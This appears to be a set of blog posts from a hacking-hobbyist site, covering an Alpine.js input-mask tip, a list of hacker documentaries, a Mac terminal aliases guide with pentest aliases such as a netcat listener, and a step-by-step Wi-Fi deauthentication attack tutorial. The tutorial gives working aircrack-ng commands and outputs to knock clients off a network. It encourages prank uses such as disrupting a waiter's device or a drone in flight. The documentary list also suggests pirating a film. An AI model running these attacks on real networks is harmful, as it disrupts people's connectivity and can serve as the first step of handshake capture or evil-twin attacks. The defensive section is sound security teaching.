Zooming in on one particular Alpine.js Plugin that's central to our discussion: the Mask Plugin. The Mask Plugin is a nifty tool that simplifies the handling of user input formatting. Whether you're dealing with phone numbers, dates, or in our case, URLs, it ensures that the input matches a specific pattern, enhancing both data consistency and user experience. It's a straightforward yet powerful solution that elegantly addresses common input-related challenges, like the one I encountered with URL validation. Take a look at the documentation as well.

🎯 Objective

My goal was straightforward: I wanted the https:// to automatically appear whenever a user started typing a URL in the input field. Reading a bit into the documentation of the plugin I realized that what I wanted to achieve was a dynamic mask. Once this was clear, implementing the solution was a breeze.

🔨 Implementation

Here’s how it’s done:



x-mask:dynamic="addHttps($input)"



<x-input.minimal.text x-mask:dynamic="addHttps($input)" wire:model.defer="livewire.name.of.model" />

In the HTML (blade component, in my case), we use the x-mask:dynamic attribute from the Mask Plugin. This attribute calls the addHttps function, which we define in JavaScript:



    <script>
        function addHttps(input) {
            if (!input.startsWith('https://')) {
                return 'https://' + input;
            }
            return input;
        }
    </script>

This JavaScript function, addHttps, checks if the input begins with https://. If not, it automatically prepends this to the user's input. It’s a simple yet elegant solution to ensure URLs are formatted correctly right from the start.

Result

The final result looks something like this:

What's even cooler is that it also works when you paste entire URLs without the https:// prefix. You should definitely give it a try on your Alpine.js projects.

Conclusion

And there you have it — a seamless integration of the Alpine.js Mask Plugin to elegantly solve a common URL input formatting issue. The final result, as demonstrated, not only enhances user experience by automatically adding 'https://' to URL inputs but also maintains a clean and consistent data format. This practical example showcases the power of Alpine.js in simplifying complex problems with minimal code, affirming its utility in web development.

Remember, the beauty of Alpine.js and its plugins lies in their simplicity and efficiency. By exploring and implementing such tools, we can create more intuitive and user-friendly web applications. I hope this example from Sudorealm inspires you to experiment with Alpine.js in your projects and discover the many ways it can streamline your development process.

You are invited to the party! 🎉

If you found this guide on using the Alpine.js Mask Plugin helpful, there's plenty more where that came from! I invite you to join Sudorealm, an aspiring Nerdom with article topics ranging from the world of gaming, anime, and manga to the intricate realms of coding and hacking

Hack the System: Unveiling Cybersecurity Secrets through Documentaries

Thanos Stantzouris — Tue, 05 Dec 2023 07:51:41 +0000

Yo, cyber sleuth! Ready to jack into the hacker realm? This list ain't your regular code – it's the elite script of hacker lore. From console cowboys to keyboard warriors, from white hats to black hats, we're decoding it all. And hey, I've got mad skills in curating the perfect docu-dive. This lineup? It's the stuff hackers rave about. So, boot up, connect, and let's surf the digital wave through their lens. Get set for a byte-sized, high-octane cyber quest!

Why Documentaries and not Movies?

The choice to focus on documentaries about hackers rather than movies is grounded in the pursuit of authenticity and depth of understanding. Documentaries offer a window into the real world of cybersecurity, providing insights that are often grounded in fact and driven by actual events. They delve deep into the complexities of the subject, offering nuanced perspectives that are usually absent in fictionalized movie portrayals.
When you embrace the hacker culture you need to be aware of all that is hacking, the leaders, the movements, the followers, the villains, the heroes, the beliefs.

Certainly, movies serve as an excellent introduction to the topic – there's no denying that! As an avid film junkie, I appreciate their blend of action, drama, and excitement, often sprinkled with elements of real-life truths. This is why I am currently maintaining a movie list in Sudorealm: Best movies for Hackers.

But... Most of the time is nothing but pure ol' classic fiction. The hackers are teenage typing machines and they use flashy keyboards while wearing black hoodies and V masks, hacking their way through extremely secure bank networks without even having to leave their chairs. I mean... if you are a penetration testing professional, is almost an insult.

I mean... NCIS Hacking Scene. Come on now! WTF is this? Multi-hand hacking through the same keyboard? Really!???

But hey, we like that, it's cool! The rush you get while watching these films may even get you hyped and all excited about hacking. But you should also find out what a real hacker looks like.

Thus you advance to the next level of intellectual hacking entertainment, Documentaries.

This short Countdown list is for the impatient:

Terms and Conditions may Apply
The Great Hack
The Social Dilemma
Citizenfour
DEFCON: The Documentary
TPB AFK: The Pirate Bay Away From Keyboard
Deep Web: Story of the Silk Road
Shiny_Flakes The Teenage Drug Lord
CYBERBUNKER: The Criminal Underworld
We are Legion: The Story of the Hacktivists
Freedom Downtime (2001)
The Internet's Own Boy: The Story of Aaron Swartz
Zero Days: STUXNET Virus

Terms and Conditions may Apply

A documentary that exposes what corporations and governments learn about people through Internet and cell phone usage, and what can be done about it ... if anything.

The story is as old as time. Big whales know everything. But this documentary made me feel so stupid for all these countless accepts I have clicked in the past and for all the unavoidable accepts I am still clicking today.

A good start for this Documentary Trip!

The Great Hack

Explore how a data company named Cambridge Analytica came to symbolize the dark side of social media in the wake of the 2016 U.S. presidential election.

A 6 year Leap to 2019 and we witness the power of data with this great Documentary! The Great Hack shows us how an organization with the right amount of data can easily “hack” masses and determine Democratic decisions by beautifully crafting short and to-the-point advertisements! You will be shocked by this... I hope you were not a part of the Hacked ones.

The Social Dilemma

For those in the hacking and cybersecurity community, 'The Social Dilemma' is a must-watch documentary that shifts the narrative from traditional concepts of system hacking to the more nuanced and significant issue of manipulating human minds through social media.

'The Social Dilemma' is an essential watch for anyone in the digital domain, offering a vital perspective on the power and responsibility that accompanies technological expertise. This documentary is more than just an exploration of digital trends; it serves as an urgent call to action for hackers to recognize the profound effects of their work in a world increasingly influenced by digital interconnectivity and psychological persuasion.

Citizenfour

The NSA's illegal surveillance techniques were leaked to the public by one of the agency's employees, Edward Snowden, in the form of thousands of classified documents distributed to the press.

This is one of my favorites. The Oscar-winning, real-life thriller Citizenfour is a real nail-biter, giving us the moments of Snowden’s life after being declared a wanted man by the NSA.

The message of this Documentary is as clear as ice. All you need to do is hop in.

Defcon: The Documentary

DEFCON is the world's largest hacking conference, held in Las Vegas, Nevada. In 2012 it was held for the 20th time. The conference has strict no-filming policies, but for DEFCON 20, a documentary crew was allowed full access to the event. The film follows the four days of the conference, the events, and people (attendees and staff), and covers the history and the philosophy behind DEFCON's success and unique experience.

Get a glimpse of the magic of the hacking community!

I'll never forget the time I found out about DEFCON. GOD was I excited, I wanted to be a part of this spectacular event so badly that I told myself that I would never stop hacking until I got an invitation or made the money for the ticket!

I hope you too share my excitement.

TPB AFK: The Pirate Bay Away From Keyboard

An intellectual freedoms documentary based on the interpersonal triumphs, and defeats of the three main characters against the largest industry in the known universe. The media industry.

Do you know The Pirate Bay? Do you know who made it? Do you know what these guys had to give up just so you can download your favorite movie or game? Do I need to keep going?

Go to a Pirate Bay proxy, install a free VPN, and download this Documentary.

Deep Web: Story of the Silk Road

A feature documentary that explores the rise of a new Internet; decentralized, encrypted, dangerous, and beyond the law; with particular focus on the FBI capture of the Tor hidden service Silk Road, and the judicial aftermath.

Plainly interesting for everyone, especially hackers. Why especially hackers you ask? Don’t you want to know how a guy behind numerous layers of masked IPs got caught? I would be extremely interested to find out all about it.

Also, we live in the world of cryptos, crypto this, crypto that, we have cryptos named after memes for god’s sake. Well, the underground black hat hackers, the online drug dealers, and the criminals of the underworld had a playground. Its name? Silk Road. The online onion-routed marketplace is hidden deeply inside the gutters of an unknown internet world where one could easily give Bitcoins and buy anything or even… anyone. ta da daaaaaa!

Shiny_Flakes The Teenage Drug Lord

Maximilian Schmidt was just 19 years old when he realized there was some serious money to be made online selling drugs.

When you are a kid, you really believe that nothing can hurt you, what can go wrong right? I am smarter than anyone, you think to yourself... Why not throw around in the wild a WordPress site and sell drugs...

To be honest with you, this Documentary was enjoyable, but in my humble opinion there are a bunch of holes in Schmidt's story, I mean... can you really do all this hustle by yourself? Can you really store more than 100 kgs of very illegal drugs in your room without your mom EVER noticing anything unusual?

CYBERBUNKER: The Criminal Underworld

This documentary led me to deeply examine my ethics in hacking and beyond. It really made me take a hard look in the mirror and decide whether I agreed with what the main characters advocated or not. You'll understand what I mean once you see it for yourselves.

Cyberbunker: The Criminal Underworld" is a riveting documentary that delves into the shadowy world of cybercrime. Set against the backdrop of a former NATO bunker in Germany, this film unravels the complex operations of the 'Cyberbunker' - a notorious data center alleged to have hosted a range of illegal activities, from the sale of drugs and weapons to the distribution of child pornography. The documentary provides an unprecedented look into how this bunker, operated under the guise of a legitimate data haven, became a hub for dark web activities. Through interviews with law enforcement officials, cybersecurity experts, and insiders, the film explores the intricate network of digital crime and the challenges faced in combating it. It's a gripping tale that not only exposes the underbelly of the internet but also raises critical questions about the ethics and implications of digital privacy and security.

We are Legion: The Story of the Hacktivists

A documentary on the workings and beliefs of the self-described "hacktivist" collective, Anonymous.

Ooooh!!! Now we dive into the faces of hacking, Anonymous. Everybody has heard about them and everyone wants to join them, but what if I told you that you are already them? You will find out what I am talking about by watching this very cool Documentary about the Anonymous hacktivists and their work.

Let me end this with a movie quote:

Beneath this mask, there is more than flesh, beneath this mask there is an idea, and ideas are bulletproof

Freedom Downtime (2001)

A feature-length documentary about the Free Kevin movement and the hacker world.

Have you heard about a guy called Kevin Mitnick? No…? He got jailed for hacking.

Oh yeah… I forgot to mention that while this guy, oops miss clicked, while this GOD was behind bars he was forbidden from accessing any payphone, yeap, payphone! Because the judge was convinced that Kevin was able to whistle codes and start a Nuclear War. I am not joking. Start with this Documentary then read his book Ghost in the Wires. You are in for a treat.

Get your hands on his book with all the crazy details about his adventures: Ghost In The Wires

The Internet's Own Boy: The Story of Aaron Swartz

The story of programming prodigy and information activist Aaron Swartz, who took his own life at the age of 26.
Web feed RSS, the Markdown publishing format, the organization Creative Commons, web-py, and the news site Reddit are a few of Aaron’s children. I don’t really know where to start. He was a Harvard fellow researcher, hacked MIT and is a member of the Internet Hall of Fame. This genius took his own life.

This Documentary amazed me and made me feel inspired but also created an emotional hole. It gives a portrait of a brilliant, driven, and passionate young man who is currently one of the iconic figures of the Internet community.

Zero Days: STUXNET Virus

A documentary focused on Stuxnet, a piece of self-replicating computer malware that the U.S. and Israel unleashed to destroy a key part of an Iranian nuclear facility, and which ultimately spread beyond its intended target.

A zero-day vulnerability is a computer-software vulnerability that is unknown to, or unaddressed by, those who should be interested in mitigating the vulnerability.

The USA and Israeli government gathered up a super team of hackers to code malware to f*cking cause an explosion in an Iranian nuclear plant. This really happened.

How can this Documentary not be the first choice?

🎥🎬 For the Hardcore Hacker Movie Fans

I know for a fact that more documentaries should be included in the list! But I haven't seen them yet! And since I am planning to keep updating this list I will include them when I see them. 🤓😏

So please feel free to comment down below your favorite Documentary about cybersecurity. Any Suggestions are very very welcome.

From Frustration to Efficiency: My Experience with Aliases on Mac Terminal

Thanos Stantzouris — Wed, 29 Nov 2023 08:27:28 +0000

Greetings people of Dec 👋. This is Thanos (or d3adr1nger, as I go in the e-hood) back with a bite-sized treat of tech wizardry. Today, we're diving into a secret corridor of the Mac Terminal – a warm alley full of surprises known as aliases. Well... let's face it, I'm all about getting things done with minimal effort. Why type a paragraph when a word will do? That's the beauty of aliases – they're our sneaky shortcut in the command-line realm, turning tedious typing into a one-hit wonder. So, for my fellow efficiency enthusiasts (and yes, the proudly lazy among us), let's dive into the art of aliasing!"

A command alias in computing is essentially a shortcut to run a specific command or set of commands. Think of it as a nickname you give to a longer command or a series of commands, so you don't have to type out the entire thing every time you want to execute it. In the context of the Mac Terminal, which typically runs the Zsh (Z Shell) as its default shell since macOS Catalina, aliases are incredibly handy for saving time and reducing repetitive typing.

How-To: Crafting Your First Alias on Your MacBook

So let's get down to business ( 🎶 I don't got no time to play around, what is this? 🎶). Creating your first alias on your MacBook is like a walk in the park. Here’s a step-by-step guide to make you an alias pro in no time:

Open Terminal: Let's start by firing up the Terminal. You can find it in your Applications folder under Utilities, or just hit Command + Space and type "Terminal". Or if you've followed my iTerm2: Your Mac's Terminal, Upgraded! then feel free to follow using your ultra cool customized iTerm2. 🤓
Access the Zsh Configuration File: Now, we need to edit your Zsh configuration file. This is where the magic happens. Type open -e ~/.zshrc and hit Enter. This command will open your .zshrc file in TextEdit (or your default text editor). Or if you are an ultra nerd like me you can type: nano ~/.zshrc to open up the config file directly in your terminal. ( You can become a nuclear nerd and use Vim too, but let's play safe for now 🍄).
Let’s Make an Alias: Time to create your very own alias. Think of a command you use often. For beginners, let’s start with something simple. Say, we want to create an alias for listing files in a detailed view. Normally, you’d type ls -l. We'll make an alias ll for this. In your .zshrc file, simply add a new line at the bottom: alias ll="ls -l"
Save and Close the File: After typing in your alias, save the file and close the editor. ( If you choose to open the file with nano, you can hit ctrl + x then just y and enter).
Activate Your Alias: For your alias to take effect, you need to reload your .zshrc file. Go back to the Terminal and type source ~/.zshrc. This command refreshes your configuration, activating the alias.
Test Your New Alias: It's showtime! In the Terminal, type ll and hit Enter. Voilà! You should see a detailed list of files in your current directory, just as if you had typed ls -l.

That was it... How easy was that? But wait... It can become much easier!

Creating Aliases with one command at a time

We can deploy our scripting knowledge and come up with a cool command that will create an alias on the spot.
Let's see, let's say that we want to create an alias for quickly editing our zshrc.

The command is: nano ~/.zshrc. Ok not that bad, but who really wants to remember the name of the file? it would be nice if we could just type something like: edit-zsh and have it pop up.

#Command No1
echo alias edit-zsh="'nano ~/.zshrc'"  >> ~/.zshrc

#Command No2
echo alias sauce="'source ~/.zshrc'"  >> ~/.zshrc

#For the last time run to be able to run the aliases on the same terminal
source ~/.zshrc

Break down of the command

echo: This command is used to output the text that follows.
alias edit-zsh="'nano ~/.zshrc'": This is the text that will be added to your .zshrc file. It's the definition of your new alias.
>> ~/.zshrc: This part appends the output of the echo command to the end of your .zshrc file.

After running this command, you'll need to either restart your Terminal or source your .zshrc file with source ~/.zshrc for the changes to take effect. Once you do that, typing edit-zsh in your Terminal will execute nano ~/.zshrc.

At the end of the config file that has been opened with nano the following lines.

alias edit-zsh='nano ~/.zshrc'
alias sauce='source ~/.zshrc'

So from now on, you can just restart your terminal by typing sauce 🥫.

Aliases you may like

Since you now have been taught how aliases work you are ready to play around and experiment on your own. Since every crazy experience needs a spark, here is a list of useful aliases to get you started!

Navigation Shortcuts

- alias back="cd ..": Move up one directory level.
- alias back2="cd ../../": Move up two directory levels.
- alias home="cd ~": Go to your home directory.
- alias root="cd /": Go to the root directory.

Listing

- alias ll="ls -lah": Show an extended list of files, including hidden ones.
- alias la="ls -A": List all files, excluding . and ...

File Management

- alias cpi="cp -iv": Copy files with interactive mode and verbose output.
- alias mvi="mv -iv": Move files interactively with verbose output.
- alias rm="rm -i": Remove files with confirmation prompt.

Quick Access

- alias docs="cd ~/Documents": Navigate to the Documents folder.
- alias downloads="cd ~/Downloads": Go straight to Downloads.

Git Shortcuts

- alias gs="git status": Check the status of your Git repository.
- alias ga="git add": Add files to your Git repository.
- alias gc="git commit": Commit changes in Git.
- alias gp="git push": Push changes to a remote Git repository.
- alias gi="git init": Initialize folder as a new repo
- alias gci="ga . && gc -m 'Initial Commit' && gs": First Initial Commit of project.

Here you see for the first time a real glimpse of the power of aliases by chaining aliases to perform a task otherwise quite large.

Aliases for hackers

Nmap Scans

- alias nmapf='nmap -T4 -F': Fast Scan
- alias nmapa='nmap -T4 -A -v': Full Scan 
- alias nmapp='nmap -p': Port Scan

Network Requests

- alias curlv='curl -v': Curl with verbose output
- alias get='curl -X GET': HTTP GET
- alias post='curl -X POST': HTTP POST

Searching

- alias ffind='find . -type f -name': Find files
- alias grep='grep --color=auto': Grep with color

SSH and Networking

- alias sshv='ssh -v': SSH with verbose logging
- alias ncl='nc -lvnp': Netcat listener

🐍 Python Server

Love that one:

- alias pyserv='python -m SimpleHTTPServer': Start a simple HTTP server

Always keep in mind that aliases are a personal choice and should fit your workflow. You can customize these aliases to suit your preferences and the specific tasks you perform regularly in penetration testing.

Finishing Up: Your Command-Line, Your Rules

And there you have it, Realmers – a whirlwind tour through the enchanting world of aliases in the Mac Terminal. From the basics to some nifty hacker-style shortcuts, we've covered a lot of ground. Aliases are more than just shortcuts; they're a reflection of your unique style and approach to navigating the digital realm. They're about making your command-line experience not just faster, but also a lot more fun.

Remember, the list of aliases we explored is just the beginning. The real magic happens when you start creating aliases that fit your specific needs. Your Terminal is your playground, and with aliases, you're the one setting the rules. So go ahead, experiment, mix and match, and maybe even come up with something completely out of the box.

In the end, whether you're a coding newbie, a seasoned developer, or a stealthy hacker, aliases can make your life in the Terminal smoother, more efficient, and let's be honest – a whole lot cooler. So, keep exploring, keep tweaking, and most importantly, keep having fun with it. Until next time, this is d3adr1nger signing off. Happy aliasing, and stay curious!

If you liked the post you may also like these ones:

Or you may like the entire website 🤪 who knows?

Make sure to pay a visit it will cost you a click: 🔗 Sudorealm

Deauthentication Attack using Kali Linux

Thanos Stantzouris — Mon, 20 Nov 2023 19:34:39 +0000

Hello, hacker-curious soon-to-be 1337 hacker legends, and welcome to my first serious article/tutorial on the realm! My name is d3ad R1nger and today you will learn the theory and also a practical example of a *wireless network attack **called deauthentication*.

In my humble opinion, when a hacker learns about a new attack, he or she must also learn how to prevent it. So, this is not going to be a simple how-to, this article will be divided into 4 parts:

| What is a Deauth Attack
| Why would you want to attack in that way
| How to do it
| How to prevent the attack and take the necessary precautions

Feel free to skip steps of course.

🤓 If you know what you are doing and only looking for a simple command list, I got you fam 💜

TL;DR Deauthentication Attack Gist for the Knowledgable

What is a Deauth Attack?

Deauthentication attack is a type of denial of service attack that targets communication between a user ( or all users ) and a Wi-Fi access point.

This attack sends disassociate packets to one or more clients which are currently associated with a particular access point. Of course, this attack is useless if there are no associated wireless clients or no fake authentications.

The cool thing about this attack is that even today where all networks are using WPA2 encryption you can still easily deauth almost anything or anyone without even being inside the network!

Why does a deauth attack work on WPA2 despite encryption?

The use of encryption in 802.11 is limited to data payloads only. Encryption does not apply to the 802.11 frame headers, and cannot do so as key elements of 802.11 headers are necessary for normal operations of 802.11 traffic. Since 802.11 management frames largely work by setting information in the headers, management frames are not encrypted and as such are easily spoofed. To prevent deauthentication/disassociation attacks, the IEEE implemented the 802.11w amendment to 802.11. This provides a mechanism to help prevent the spoofing of management frames, but both client and infrastructure need to support it (and have it enabled) for it to function. (source)

Why would one attack a network like that?

A deauth attack is, most of the time, the first step for a greater attack, a gateway hack 😂 ! Hackers usually need to deauth a user off of a network so they can:

Capture WPA/WPA2 4-Way Handshakes by forcing a user to reconnect to the network
Force users to connect to their Rogue access point (search: Evil Twin Attack)
Force users to connect to a Captive Portal for whatever reason

I will be writing articles and tutorials demonstrating every single one of the aforementioned attacks so stay tuned.

You can also deauth users in your network for way simpler reasons, like:

Kick a sibling or a friend off the network just because they are slowing your connection down
Frustrate people and laugh
- example, let's say your best friend is a waiter, and he takes his orders from customers with a PDA connected to the Cafe's Wi-Fi connection, deauth his PDA, and drive him mad. (You didn't read that from me).
Deauth a drone from its access point mid-air and see what happens. (I haven't done that yet. but I will asap)

Ok, enough with the Theory! Practice!

The art of Deauthing

For this attack we need a tool called aircrack-ng, aircrack-ng is more of a suite actually, containing many tools to assess Wi-Fi network security.

Aircrack-ng suite comes pre-installed inside the Kali Linux Distribution which I'll be using for all my hacking tutorials and real-life attack posts.

Ok! one last thing, since we are talking about sending packets we will need a wireless adapter both able to work in monitor mode and be a packet injector!

What is Monitor Mode? | For listening and Capturing
- Monitor mode allows you to capture data sent and received by wireless devices and networks nearby. Without it, you can not see which devices are active and what is happening inside the network.
What is Packet Injection? | For transmitting and Attacking
- Packet injection allows you to craft and inject or send data to wireless devices and networks nearby. Without it, you can not intercept or manipulate any activity from within the network.

My favorite wireless adapter, and the one I'll be using for this tutorial, is Alfa AWUSO36NH High Gain USB Wireless G / N Long-Rang WiFi Network Adapter, it has never failed me thus far and the thing I love the most about it is that it works perfectly with a Raspberry Pi 4

Step 1 - Fire up Kali Linux and open a Terminal

In Kali, almost all the action happens inside the terminal so you should really get the hang of it.

Now that's a trippy gif.

By typing ifconfig and the enter key on your terminal you get the following output :



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe59:1b51  prefixlen 64  scopeid 0x20<link>
ether 08:00:27:59:1b:51  txqueuelen 1000  (Ethernet)
RX packets 5  bytes 1360 (1.3 KiB)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 69  bytes 5690 (5.5 KiB)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
inet 127.0.0.1  netmask 255.0.0.0
inet6 ::1  prefixlen 128  scopeid 0x10<host>
loop  txqueuelen 1000  (Local Loopback)
RX packets 20  bytes 1116 (1.0 KiB)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 20  bytes 1116 (1.0 KiB)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
ether fa:30:3e:ca:dd:85  txqueuelen 1000  (Ethernet)
RX packets 0  bytes 0 (0.0 B)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 0  bytes 0 (0.0 B)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

At the eth0 section in my ifconfig output, you see that I have inet 10.0.2.15, this is because I am running Kali Linux on a Virtual Machine and it is connected on a nat network. Don't worry about it, you do not even have to care at the moment.

All you have to care about is the wlan0 section that is your wireless adapter and as you can see mine is not even connected to a network. If it was it would be displaying an IP in the range of 192.168.x.x (Just for answering future questions).

The next command is iwconfig. Type it and execute it on your terminal and boom:



lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
Retry short limit:7   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off

From this output, we understand that our wireless card is in Managed Mode and we want it to be in Monitor Mode. So let's do that.

Step 2 - Setting wireless adapter on Monitor mode with airmon-ng

By running the airmon-ng start wlan0 (or whatever your adapter is called, it could be wlan1 or wlan2) you are setting your adapter to monitor mode! Check out the output :



root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name
448 NetworkManager
525 dhclient
654 wpa_supplicant

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k_htc   Atheros Communications, Inc. TP-Link TL-WN322G v3 / TL-WN422G v2 802.11g [Atheros AR9271]

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   
Retry short limit:7   RTS thr:off   Fragment thr:off
Power Management:off

See the above iwconfig result. Mode:Monitor and the name is wlan0mon! You are ready to go.

Step 3 - Searching for victims with airodump-ng

Execute the command airodump-ng wlan0mon on your terminal and start choosing targets.

Command output:



CH 12 ][ Elapsed: 6 s ][ 2020-09-02 15:41                                         

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

**:**:**:**:**:**  -85        2        1    0   6  130  WPA2 CCMP   PSK  ******911                 
**:**:**:**:**:**  -79        4        0    0  11   65  WPA2 CCMP   PSK  ******etwork                
50:C7:BF:DC:4C:E8  -45       18        0    0  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8                
**:**:**:**:**:**  -74        5        0    0   1  270  WPA2 CCMP   PSK  ******D                 
**:**:**:**:**:**  -75        5        0    0   1  270  OPN              ******Fon                   
**:**:**:**:**:**  -79        6        0    0   6   65  WPA  CCMP   PSK  Win******9A84                
**:**:**:**:**:**  -82        2        2    0   2  270  WPA2 CCMP   PSK  ******4hu1                     
**:**:**:**:**:**  -81        4        8    0  13  135  WPA  CCMP   PSK  mp******i                      
**:**:**:**:**:**  -91        2        0    0   1  270  OPN              OTE******n                   
**:**:**:**:**:**  -92        3        1    0   1  270  WPA2 CCMP   PSK  Sp******e Sky

The combination of BSSID and ESSID can help hackers find locations. 😁 Yeap, that's a thing.

The command will keep running and monitoring near Access Point behavior but as soon as we find our target on the list we can just hit ctrl+c to stop the monitoring process.

You will get a bunch of different access points with a lot of info you don't understand! Let's break them down.

BSSID | MAC address of the access point. In the Client section, a BSSID of “(not associated)” means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
PWR | Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal level reporting.
Beacons | Number of announcements packets sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
# Data | Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
#/s | Number of data packets per second measure over the last 10 seconds.
CH | Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.
MB | Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.
ENC | Encryption algorithm in use. OPN = no encryption,“WEP?” = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP is present.
CIPHER | The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
AUTH | The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
ESSID | Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests.

I will be targeting my own AP TP-LINK_AP_4CE8! You should understand that doing this to other APs is illegal. Unless you have the permission of course.

Step 4 - Specific Targeting for better information gathering

Now that we know all that we need to know about our target we have to find any devices connected to the network, to do that we run the following command.

The commands structure is airodump-ng -d "target's BSSID" -c "target's channel number" "wireless adapter monitor mode name"

In our case the full command is:



airodump-ng -d 50:C7:BF:DC:4C:E8 -c 11 wlan0mon

Now we are monitoring SPECIFICALLY our target and not all nearby access points. Also, we can see that there are two devices currently inside the network, one of which is my phone!



CH 11 ][ Elapsed: 1 min ][ 2020-09-02 15:59 ]                        

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

50:C7:BF:DC:4C:E8  -22  91      610      163    4  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8            

BSSID              STATION            PWR   Rate    Lost    Frames  Probe                               

50:C7:BF:DC:4C:E8  AC:3C:0B:36:BD:5B  -32    0e-24      0       12                                       
50:C7:BF:DC:4C:E8  E0:B5:2D:EA:18:A7  -58    1e-24      6      122

Step 5 - Deauthenticating device from network //Kicking

The final command is:



aireplay-ng -0 0 -a 50:C7:BF:DC:4C:E8 -c E0:B5:2D:EA:18:A7 wlan0mon

Command instructions:

-0 means deauthentication.
0 is the number of deauths to send, 0 means send them continuously, you can send 10 if you want the target to disconnect and reconnect.
-a 50:C7:BF:DC:4C:E8 is the MAC address of the access point we are targeting.
-c E0:B5:2D:EA:18:A7 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated.
wlan0mon is the interface name.

The command continuous output:



16:14:41  Waiting for beacon frame (BSSID: 50:C7:BF:DC:4C:E8) on channel 11
16:14:42  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [99|67 ACKs]
16:14:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [61|59 ACKs]
16:14:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [25|48 ACKs]
16:14:44  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|72 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|57 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|65 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:^C:A7] [ 0|10 ACKs]
...
...
[until we hit ctrl+c to stop it sending packets]

And its immediate result :

Preventing the attack and taking necessary precautions

You are now well familiar with the attack and know all the theory a beginner may need! But how could one prepare himself for defending against a deauthentication attack?

You can not stop a bad guy from sending deauth packets. Instead, you should make sure your network is configured in a way that the deauth attack doesn't enable an attacker to compromise your network.

Make sure your network is using WPA2 encryption.
Your Wi-Fi passphrase should be very long and strong.
Once you have been disconnected from your network, make sure that you connect back to a WPA2 secure network and not an open one with the same name as yours! IMPORTANT.
You could also HIDE your SSID from anyone by accessing your router's configuration page.
- Usually on WLAN > Advanced Option
By a VPN
- A VPN creates a private tunnel between your laptop or smartphone and the VPN server on the other end, encrypting your traffic from snoops—even your ISP or the operator of the hotspot itself. To find the one that's right for you, read our roundup of the Best VPN Services, pick a top-rated one, pay for it, and put it on all your devices that use public Wi-Fi of any sort. You'll be glad you did.

Conclusion

Hacking is not easy, let's start with that. It needs patience and curiosity. You will always have days when everything is just not working how it should be and you may feel like a loser for not making it work! But that's the trick! Someone has made it work and this must drive you! Be that someone! And then be more!

Thank you very much for your time and I really hope that you got something from this article/tutorial! Sudorealm is here to stay and we promise to give you as much as we can!

Leave a Comment on Reddit: Deauthentication Attack using Kali Linux 🍻

Support this Nerd

My name is Thanos, my hacker name is d3ad R1nger and I am the only coder behind Sudorealm and an Author. I hack for fun and because is what I really loved as a kid. If you like any of my posts let me know.

You can find me on Twitter @DevThanos. Also, you can show your support by Becoming a Member of the nerdiest realm of the internet and Follow the Hacking Category or leave a 👍 on Sudorealm on Facebook

Oh, last but not least! If you are one of those super cool guys who really like to hype people up with crazy acts of kindness And keep the Hacking Spirit awake.

